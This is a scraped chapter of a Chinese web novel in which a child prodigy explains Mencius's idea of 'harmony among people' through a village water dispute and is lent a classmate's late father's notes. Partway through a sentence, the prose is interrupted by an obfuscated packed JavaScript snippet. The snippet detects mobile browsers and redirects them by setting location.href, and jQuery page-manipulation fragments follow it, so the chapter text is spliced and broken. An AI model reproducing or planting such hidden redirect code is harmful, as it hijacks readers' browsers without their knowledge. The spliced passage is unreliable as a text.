默认冷灰
24号文字
方正启体

36. 墨迹与田埂

作者:月亮下的小橙子本书字数:K更新时间:
    争水的风波平息了,乡塾里的日子重新按部就班。但有些东西,已经悄然改变。


    林湛依旧是那个最早到、最沉静的蒙童,只是身上那件半旧小褂的口袋里,偶尔会露出一角族老们凑来的、写满字的旧纸背面,或是半块黑乎乎的墨头。他用这些“宝贝”练字时,比以往更加珍惜,下笔也似乎多了几分与年龄不符的郑重。


    这日午后,孙夫子讲解《孟子》中“天时不如地利,地利不如人和”一段。夫子照例阐发人心向背、团结协作的重要性。


    轮到自由讨论时,一向沉默的周文渊,却罕见地主动看向林湛,声音虽轻,却清晰地问道:“林师弟,夫子所讲‘人和’,你前番于玉带溪之事,可算是‘得人和’之功?”


    这个问题,将经典的抽象道理与刚刚发生的具体事例直接联系起来,引得其他学生都竖起了耳朵。连李茂才都忍不住瞥了一眼过来。


    林湛放下手中正在蘸灰墨的秃笔,想了想,认真答道:“周师兄,‘人和’固然紧要。但此次之事,光靠讲‘人和’怕是不行。旱情是真,水少是真,田要枯死也是真。空说‘要和气’,大家肚子不答应。得先有个能让两边都觉着‘勉强能活’的法子,把水分清楚、时间排明白,让大家看到实实在在的活路,这‘人和’才有了落脚的地方。不然,道理再好,也架不住锄头要砸下来。”


    他顿了顿,又道:“我觉得,‘人和’不是一开始就有的,常常是找到了能走通的路,大家顺着这条路走,走着走着,气顺了,这才有了‘人和’。就像那竹竿上的刻痕,先有了这个大家都认的‘准绳’,争执才有了判据,火气才能慢慢压下去。”


    他没有引用任何圣贤句子,用的全是最朴素的实情和比喻,却把“人和”这个宏大概念,落实到了具体困境的解决路径上。尤其那句“道理再好,也架不住锄头要砸下来”,听得孙夫子都微微颔首,眼中满是赞赏。


    周文渊听得入神,清瘦的脸上泛起一丝激动的红晕。他用力点头,低声道:“林师弟此言,如醍醐灌顶!往日读此章,只觉‘人和’乃治国平天下之大要,却未深想其落地生根,竟需如此务实之策。师弟以三岁之龄,便能调停乡里,非唯急智,实乃通晓事理根本,文渊……佩服之至!” 他最后一句话,说得极其郑重,看向林湛的眼神,已不仅仅是同窗间的友好,更添了几分发自内心的敬重。


    李茂才在一旁听着,心里像打翻了五味瓶。他不得不承认,林湛说的在理,做的事也确实平息了大祸。可让他像周文渊那样直接表达佩服,他又拉不下脸。尤其想到自己之前还嘲笑林湛只会“贩夫走卒的伎俩”,结果人家这“伎俩”真能安乡定邻,而自己学的“圣贤道理”在那种情境下却苍白无力,一股说不清的憋闷和嫉妒就堵在胸口。


    他哼了一声,扭过头去,故意大声对旁边的张桐说:“张桐,你‘上大人’写会了没?别老听些没用的,考秀才又不考怎么分水。”


    张桐憨憨地挠头:“茂才哥,我觉得湛哥儿说得挺有用的啊,不分水真打起来,哪还有心思考秀才……”


    李茂才被噎了一下,脸更黑了。


    下课后,周文渊没有立刻离开,而是等林湛收拾笔墨时,走到他身边,从自己那洗得发白的书袋里,小心翼翼地拿出一本薄薄的、边角磨损的手抄册子。


    “林师弟,”周文渊的声音压得很低,带着点不好意思,“这是我爹……生前留下的读书札记,里面有些他读四书的心得,还有……还有一些他收集的、关于本朝赋役、田亩制度的零散记载和看法。我见师弟于实务之事颇有天分,或许……或许对你有用。若不嫌弃,可借你一观。”


    林湛心中一震。他知道,对于周文渊这样家境清寒、视父遗物如珍宝的学子而言,拿出这样的手札分享,是何等信任和看重!这不仅是学问的交流,更是将其最珍贵的精神依托托付。


    他双手接过那本轻飘飘却又沉甸甸的册子,郑重道:“周师兄,此物珍贵,小弟定当悉心拜读,妥善保管,尽快归还。”


    周文渊摇摇头:“不急。师弟慢慢看。其中或有偏颇之处,还望不吝指正。”他说“指正”二字时,态度极为诚恳,显然已将林湛视作可以平等探讨甚至请教的对象。


    两人又低声交谈了几句关于《孟子》中另一处“经权”之辩的看法,周文渊对经典的理解依然深刻,但如今更愿意听取林


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179277|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    湛那些从现实角度出发的“另类”解读,觉得往往能打开新的思路。


    另一边,李茂才磨磨蹭蹭地收拾东西,眼角余光却一直瞟着林湛和周文渊这边。看到周文渊居然把自家珍藏的手札都借给了林湛,他心中那股酸意更浓了。他家里书不少,父亲也藏有一些时文选集和笔记,可他从未想过与同窗分享,觉得那些人都不配。如今看到周文渊与林湛这般“惺惺相惜”,自己反而像个局外人,滋味着实不好受。


    他终于忍不住,走过林湛身边时,停下脚步,昂着头,语气有些生硬地说:“林湛,这次……算你运气好,碰巧想了那么个法子。不过,读书人的根本还是文章经义,旁门左道终究上不得大台面。你好自为之。”说完,也不等林湛回应,便快步走了,背影显得有些仓促。


    林湛看着他的背影,只是笑了笑,没说什么。他理解李茂才那点别扭的少年心性,知道有些心结,需要时间和事实来慢慢化解。


    夕阳的余晖透过窗棂,将学堂里漂浮的微尘染成金色。孙夫子早已回屋,张桐、刘水生、王石头也各回各家。学堂里只剩下林湛和周文渊。


    周文渊看着林湛小心地将那本手札和他那些旧纸、墨块一起收进书袋,忽然轻声说:“林师弟,我有时觉得,你像站在两条路的交叉口。一条是咱们日日诵读的、通往庙堂的文章之路,墨香弥漫;另一条……是你用竹竿刻痕、分水解厄的田埂之路,尘土飞扬。而你,似乎能把两条路看得很清楚,甚至……想让它们在某些地方交汇。”


    林湛背好书袋,抬头看向周文渊,夕阳给他清瘦的侧脸镀上一层柔光。“师兄,墨迹写在纸上,是为了讲理。理,最终不还是要落到田埂上,落到像玉带溪这样的地方,让秧苗能活,让人心能安吗?如果文章写得花团锦簇,却对田埂上的裂缝视而不见,那墨香,是不是也少了点人间的味道?”


    周文渊怔住了,久久不语。直到林湛向他挥手道别,小小的身影消失在暮色笼罩的村路上,他还站在原地,回味着那句“墨香少了点人间的味道”。晚风穿过空荡的学堂,翻动着桌上未合拢的书页,沙沙作响,仿佛也在咀嚼着这个三岁孩童留下的、远超年龄的叩问。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)